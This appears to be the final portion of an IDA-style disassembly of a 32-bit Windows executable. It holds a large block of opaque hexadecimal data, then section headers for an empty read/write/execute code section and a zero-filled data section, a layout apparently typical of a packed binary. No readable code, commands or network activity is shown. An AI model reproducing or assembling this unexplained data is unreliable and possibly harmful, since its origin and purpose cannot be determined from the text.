dd 0F841F81Eh, 66F4D89Eh, 805F1825h, 11F013F0h, 96CA6FDFh
dd 1562AD88h, 541E2C11h, 0D20AA6AFh, 94950F15h, 374Eh
dd 2BACAA70h, 7E6B31h, 0C8A72ACAh, 537D9555h, 1E26E95Eh
dd 0C20411C3h, 58A9B4E7h, 5493A1CEh, 0C9E736CCh, 0F9DDB7CFh
dd 96BDC67Ah, 30755F89h, 0B231024Ch, 0DD99061Ah, 2D7B300Dh
dd 8C0F087Eh, 0D12B84FBh, 0E90315ABh, 12531F6Fh, 0A408612Ah
dd 47CDEDF9h, 8918A34Eh, 39845029h, 0FEAFEAF8h, 6D794D0h
dd 0C8F340EFh, 440940E5h, 1CEB12BBh, 87BC27EAh, 7C47E1Eh
dd 2F875AEAh, 242C5D14h, 7B92DA02h, 0A2B7266Ch, 644297Fh
dd 99599EE6h, 75059C8Bh, 0ADEA60EBh, 920D8864h, 7C224CAh
dd 9E443F2Bh, 985DE994h, 92FD13Fh, 0B211E579h, 65F1AE26h
dd 0E7DA44BCh, 0BC600C0Ch, 4833B83Ch, 2C181ECBh, 0DFF3E180h
dd 0CEB5218Dh, 90527B62h, 0FD1236ECh, 36E55B3Ah, 0DC9008BBh
dd 1BBF49AAh, 377F4747h, 0C09099EBh, 0AF8BF536h, 0F1E3A6B6h
dd 3C367AF5h, 29640BB2h, 0F17091B1h, 4831B57Ch, 262FFEE3h
dd 984ECE36h, 0D7241F6Ah, 291163B0h, 71773B39h, 6AAFEA18h
dd 0D298B490h, 2AD4963Dh, 0B11FFDCCh, 0D8487463h, 44B964BDh
dd 1AA661ABh, 402DAA94h, 0B128C700h, 2963705Fh, 0B178329Ah
dd 0EA8B6E13h, 49FB01Bh, 0CA4A7C29h, 41F50429h, 0A2F86DC8h
dd 0CF30A1A2h, 71F1B886h, 62718868h, 32F5F2A7h, 0B579DEA9h
dd 11971608h, 0A9D562CCh, 0E4BA9F7Ch, 0A72EAEDFh, 0FB2674D4h
dd 54974B9Ch, 3E219D63h, 99FE8CFDh, 9225D11Ah, 0F7A04960h
dd 0A599CD37h, 2F8E5637h, 0F0A77D7Ch, 3346DD52h, 1917F600h
dd 6F5D7DABh, 9F3E4485h, 5F3437CFh, 0DA01F966h, 71BE35D0h
dd 47E2A314h, 3E5E5BC7h, 2224FB1Eh, 0EC4A6E9h, 5BEFF6D0h
dd 0ABF15F2Ch, 0CC9F9B5Ch, 8D331C74h, 0CC07AA95h, 4A439160h
dd 0CD71C41h, 5C6B3496h, 0BB0B67E7h, 39BFABAAh, 17659B4Dh
dd 0B6611090h, 24074860h, 0BEDB02A2h, 0DA073BCEh, 5989842Fh
dd 8E25061Dh, 0FA07B5A2h, 0A98B5852h, 33C54937h, 0C09A2934h
dd 9796E039h, 0EAC9B213h, 145B2AD8h, 70983823h, 77B7CC92h
dd 0CA8BA369h, 5DDD341Eh, 0ED3DEA39h, 64611AF1h, 0E97E4C3Dh
dd 0B122EA5Ah, 0D6825712h, 0C542F51Ah, 1024C473h, 0A42E719Eh
dd 0C62E22F9h, 49B149C0h, 0D9C24A60h, 6B24C121h, 8C3AF66h
dd 969DE7FEh, 68567436h, 8C3CD5B5h, 3F715462h, 0FD7EC0BCh
dd 127D5F74h, 8EA9DC3Ah, 1F038201h, 2A420F28h, 136AE059h
dd 0AA936906h, 1ACEFDC6h, 0CE43861Fh, 80h dup(0)
_data ends
; Section 5. (virtual address 00085000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 00085000
; Flags E0000040: Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_adata segment para public 'CODE' use32
assume cs:_adata
;org 485000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
align 2000h
_adata ends
; Section 6. (virtual address 00086000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 00086000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 486000h
dd 80h dup(0)
align 1000h
_idata2 ends
end start